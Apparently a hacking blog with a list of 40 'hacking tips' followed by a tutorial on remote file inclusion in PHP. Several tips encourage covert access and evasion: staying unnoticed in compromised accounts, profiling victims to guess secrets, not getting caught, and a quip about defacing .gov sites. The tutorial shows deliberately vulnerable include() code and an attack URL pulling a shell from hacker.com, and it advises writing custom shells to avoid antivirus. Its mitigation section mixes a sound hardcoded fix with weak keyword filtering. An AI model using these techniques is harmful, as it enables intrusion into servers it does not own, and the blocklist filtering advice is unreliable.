Friday, 26 June 2015

Hacking 40 best tips

1) Learning scripting languages such as Python, Perl and ruby can help you automate your tasks and for sure improve your skills.


2) Understanding all possible user inputs is the fastest way to
hack into the systems.


3) When u gain access to an account or whatever u hacking in
to, best practice do not alter anything. just monitor the activity
and continue fetching information u need.


4) Travel and see different countries, it will make you better.


5) Never hesitate for usage of Google and other resources available i.e. exploit-db, and be updated with versions and bugs in each versions, for example, if I talk about WordPress, then one who is looking to hack WordPress website or pentest, then he should be well aware of at least 3.0+ versions updating, so whichever version is being used on the website, he should know the vulnerabilities in that and their exploitation.


6) RTFM, don't expect handouts. Educated questions, gets
you educated answers.


7) Move to Linux, learn Programming Languages C, Pearl, Lisp, Java and Html and write open source programs.
Improve your functional English.


8) The most important factor for becoming a good hacker is, you
must have your personal interest with computers. Additionally,
you have to be definite in your work, such that you should take
exactly interest in One thing at a single time. After covering the
appropriate level of theory, the learner should try it practically as
much as his satisfaction level. Watching Tutorials only for taking
points, not really for following them from a to z exactly, because
you have to be a good learner only if you have your personal intention
for doing the things creatively.


9) One thing , Learn how old Hackers Started don't focus on new
Programs like BACKTRACK , METASPLOIT , Learn Manual Hacking ,
Learn Coding and be patient ! Knowledge will come with time !
and practice all methods.


10) Do not rely on tricks for hacking. As they will keep you a script
kiddie, get deep understanding about stuffs. And also don't rush
from one topic to another. All those combined will make you a better
hacker. "Slow and Steady wins the race".


11) A support will always lift you up. Join groups, forums. Keep yourself updated with latest hacking news by reading blogs [Like this ], tweets etc.


12) Understand what programming language to use at what moment.
You're time is valuable so don't waste it writing something that
could have been done faster! (and understand the difference
between a scripting language and a programming language,
python for example is a programming language.


13) During hacking remain mentally intact and focus on your
each step. During a step always remember your next steps
and the way you have to link them. Dont always use old methods
and tricks, try new one and use your own mind too. and remember
one thing that there is no shortcut of Hacking, to became a hacker
, you have to give your whole passion to hacking. "
Hacking is an Art, and Hacker is an Artist".


14) This Attitude should be there within "SWEAT MORE IN PRACTISE,
SO YOU BLEED LESS IN WAR".


15) Whatever you're going to test,start it with a basic stuff.
If you dont know any,start learning.


16) Enumeration is the key to pwnage, the more you
enumerate the more attack surface you get.


17) Be patient! Learn different protocols and read the RFCs
to understand how they work and if there are some "security
by design" issues. After that you should try to understand the
context you're in and therefore develop an exploit for this
particular context.


18) Sleep less, read more. Learn & Think & Try & Fail &
Never give up. Remember, "...imagination will take you everywhere".


19) Don't compete anyone, never think you are the best, just
compete "the you in the past". There will always be a vulnerability
waiting for being discovered, by someone who thinks different
Understanding human logic makes things easier. "Hackers realize, kiddies memorize".


20) Learn your own systems inside out, before moving on to other
systems. The better you know your own, the more capable you will
find yourself when it comes time to make your system work for you.




21) To be a good hacker, you need have good social engineering skills.
Try to understand your victim's mentality, it will give you the ability
to guess his/her confidential information.


22) A great person had said "if i had 8 hours to chop down a tree,
I'd spend 6 hours sharpening my axe". Apply this on yourself.
Prepare yourself! Learn programming, networking, scripting and
all, be passionate, motivate yourself then start hacking with your
own ideas...You will surely win!.


23) Use your inner power to became a great hacker. Just keep reading
.. The more you read..the more you understand things behind the scene.


24) A startup now can be just a pair of 22 year old guys. A company like that can move much more easily than one with 10 people, half of whom have kids.


25) Think of all the psychic energy expended in seeking a fundamental distinction between "algorithm" and "program".


26) If you don't have time to do it right, when will you have time to do it over? ~Sunny Rockzzzz
27) Out in the field, any connection with home just makes you weaker. It reminds you that you were once civilized, soft; and that can get you killed faster than a bullet through the head.”




28) Most hackers are young because young people tend to be adaptable. As long as you remain adaptable, you can always be a good hacker.”


29) Be very careful. We suggest getting a book on HTML to avoid becoming a real legend in the hacker world. Putting up a web page before you know how to put up a web page is generally a very bad idea. The .gov sites are an exception.


30) We were addicted to hacking, more for the intellectual challenge, the curiosity, the seduction of adventure; not for stealing, or causing damage or writing computer viruses.


31) To be a good hacker you have to learn from yourself. Learn from books like "The basics of ethical hacking and pen testing" and "The web app hackers handbook-Ed.2". Once you learnt these books i promise you will be able to hack systems as well as web apps.


32) Try to see, feel and possibly touch everything that you learn, only then you will be confident about your attacks/defenses.


33) Adopt the mindset of a hacker.


34) You may not be there yet but with everyday practice you will be closer than yesterday.


35) Set of code has to be made by a hacker Don't get caught Learn the basic functionality of a system and network then explore their loop holes Every developer make mistake while developing identify the exploit and notify them to the develope.


36) Learn Russian. Every infosecurity geek should know Russian.


37) When you learn something in this field, always put it to good use .Defacing websites will not make you a better hacker, but, helping someone with their security might earn you a respect even higher than what a blackhat may get.


38) Learn how the technology you are trying to hack works inside and out before you try to hack it. It's much easier to find a way in if you understand exactly how and why the technology works.


39) Be consistent. If you want to learn, dedicate a certain amount of time every week to learning. Don't take breaks because you will forget things. When it comes to ethical hacking, you have to learn and understand certain things before you can move on to understanding something else. Building on top of itself.


40) Behind every successful Coder there an even more successful De-coder to understand that code -HackersAuthority

Friday, 26 October 2012

RFI Full Tutorial For All New N00bs

In this Tutorial,

I'll explain 

Intro: What is RFI??



RFI means Remote file inclusion. 
RFI is a type of web application security hole.
On the net, there are so many sites which are vulnerable to RFI.

In this tutorial, I am going to show you RFI with PHP. 
PHP is a web script engine. Its the most widely used one so that's why I am using it in this tutorial.

Learn more about PHP: http://php.net

http://en.wikipedia.org/wiki/PHP


To understand what file inclusion is I am going to show a little example.
This is an example site in PHP:




PHP Code:<?php   $content = “Hello and welcome to the site”;?><html><head><title>Hello world</title></head><body>
<?php echo($content); ?>
</body></html>


This is a very basic page. But as your page expands you might
want to put the individual pages in their own files and include them in
the main file depending on user input.
This way, when you got pages with perhaps 10k lines of PHP code you don't have to use hours looking
for the bit of code you want to edit/view.

By user input I mean things like a URL GET argument. A GET argument could look like this:

HTML 
www.site.com/index.php?page=index

In the above example the PHP script would see the “page=index” and then show the content of “index”. The “index” can be anything, can be a file, SQL value, hard-coded variable. If it is a file, then the PHP script is most likely using the include() function and that is file inclusion.


1.Understanding RFI

So, in the above text I said that file inclusion is including files in another file. Well, that is all right but what does that actually mean?

Well, lets say we got 2 files.
index.php
content.php

The index.php is the file people is going to view when they visit my page. www.site.com as usual. But we want index.php to display the contents of content.php without the user actually visiting content.php.

All you would need to do is put this PHP script in the index.php:
 
 (php)
PHP Code:
<?php include(&#8220;content.php”); ?>

Now we are showing the contents of content.php when the user visits index.php. If content.php was to include more PHP code it would also get executed.

That is it. We just did file inclusion! However, this example is just a dummy page and would most likely not be found in real life.


Lets create a new scenario. A more realistic scenario. We got the following files/pages:

index.php
1.php
2.php
3.php

Now, index.php is again the file the users are going to visit. On the default index we are going to display 3 links.

www.site.com/index.php?page=1
www.site.com/index.php?page=2
www.site.com/index.php?page=3

When the user clicks the first link its going to show the content of 1.php, when the user clicks the second link its going to show the contents of 2.php and when the user clicks the last link its going to show the contents of 3.php.

The index.php script site would in this case look something like this(note that I am now coding like an idiot to create security holes):

Code: (php)
PHP Code:
if (isset($_GET['page']))
{
   include($_GET['page'] . &#8220;.php”);
}
else
{
   echo('<p><a href="index.php?page=1">page1</a></p>');
   echo('<p><a href="index.php?page=2">page2</a></p>');
   echo('<p><a href="index.php?page=3">page3</a></p>');


The content of 1,2 and 3 is not important in this example so I wont say anything about that.

Now, when a user clicks the page1 link he or she is taken to www.site.com/index.php?page=1

The PHP script in index.php will now see that the user is requesting the page called 1 and it will include the number in the URL + “.php” the same goes for 2 and 3.


Now, what is this “Remote” part in RFI all about? Well, this belongs more in the “exploting RFI vulnerabilities” part of this tutorial but I have to say something short about it now.

The above code is vulnerable to RFI. You can test this by visiting:
www.site.com/index.php?page=4

That would give us an error(assuming the server administrator have not turned off “show errors” in the PHP configuration). The error would look something like this:

Warning: include(page4.php) [function.include]: failed to open stream: No such file or directory in PATH on line 3

Warning: include() [function.include]: Failed opening 'page4.php' for inclusion (include_path='.;PATH') in PATH\index.php on line 3

This would tell us that the include() function used in this script is not secured and can be exploited. The way you exploit it is by getting it to include your code so that you can control the server. This is where the “remote” part of RFI comes in. You can create a PHP script and save it as .txt, upload it to a server and then visit something like this:

http://www.site.com/index.php?page=http://hacker.com/shell.txt?

Note that the ? is to get rid of the “.php” at the end as we did not name the file .txt.php and also if you where to try to include a .php file from a remote server it will only give the executed output of the PHP file.

Now we have successfully put out code in the PHP engine of the victim server and we are free to do whatever you can do with PHP. Which is mostly anything.


 2.Finding RFI vulnerabilities


Like said above. To check for the most basic vulnerabilities all you need to do is manipulate the GET arguments and look for error messages looking like the one above. For more advance ones you might need to try things out, this is called blind RFI. As you gain more knowledge about PHP and RFI you will understand how to perform blind RFI's.

Here is a few examples of GET arguments manipulating:

www.site.com/index.php?id=1→
www.site.com/index.php?id=1asdfsaf
www.site.com/index.php?id=index→
www.site.com/index.php?id=fuckkkk
www.site.com/index.php?id=lolzzzz


Use your imagination... And for those who did not understand. The arguments does not need to be “id” or “page” or “site”. It can be anything.

There are more advance versions of RFI like POST argument RFI and even cookie RFI and HTTP header RFI and so on. But these should be easy to understand once you gain more knowledge about the HTTP protocol and TCP/IP with HTTP servers and PHP etc.

3.Exploiting RFI vulnerabilities


Lets say that you have successfully found a vulnerable page.

The URL is www.site.com/index.php?page=index

The PHP script is made in such a way that we only need to edit page=index to page=http://hacker.com/shell.txt and we now got our PHP code over to the victims server and it executes.

What you should do now is try to make something called a shell. A shell is essentially just a PHP script that can perform Explorer like actions. Like read/write/edit/create files and navigate in folders etc etc. Some shells even got inbuilt exploits to gain root access on the server, but that's another story.

Now, there is a truckload of premade shells out there but I really recommend you creating your own as it is good learning and most shells is actually detected by antiviruses believe it or not. So if the server you are trying to access got a antivirus it will now work and it might perhaps spoil your attack.

4.Securing RFI vulnerabilities


Secure user inputs!!!! And not just those you THINK is used in SQL queries or include functions or etc. ALL user inputs should be secured. You do this by strip/disallow words or phrases or symbols in the user inputs. And the most common solution when it comes to RFI is just to make the page less dynamic and hardcode the pages. If you still want to have a dynamical editable page you MUST make sure you secure the user inputs. Check it for the word “http”, check it for the word “www.”, check it for “../”, check it for “?” etc etc. Disable “show PHP errors” in the PHP configuration. Do a file_exists() check. These are all easy things you can do to prevent RFI(and LFI, but that is again another story).

Here is a example on a dynamic page and a hardcoded page. The dynamic one is not secure, the hardcoded one is.

Dynamic:
PHP Code:
if (isset($_GET['page']))
{
   include($_GET['page'] . “.php”);
}
else
{
   echo('<p><a href="index.php?page=1">page1</a></p>');
   echo('<p><a href="index.php?page=2">page2</a></p>');
   echo('<p><a href="index.php?page=3">page3</a></p>');
}  

Hardcoded:
PHP Code:
if (isset($_GET['page']))
{
   if ($_GET['page'] == “page1”)
      include(“1.php”);

   if ($_GET['page'] == “page2”)
      include(“2.php”);

   if ($_GET['page'] == “page3”)
      include(“3.php”);
}
else
{
   echo('<p><a href="index.php?page=1">page1</a></p>');
   echo('<p><a href="index.php?page=2">page2</a></p>');
   echo('<p><a href="index.php?page=3">page3</a></p>');
}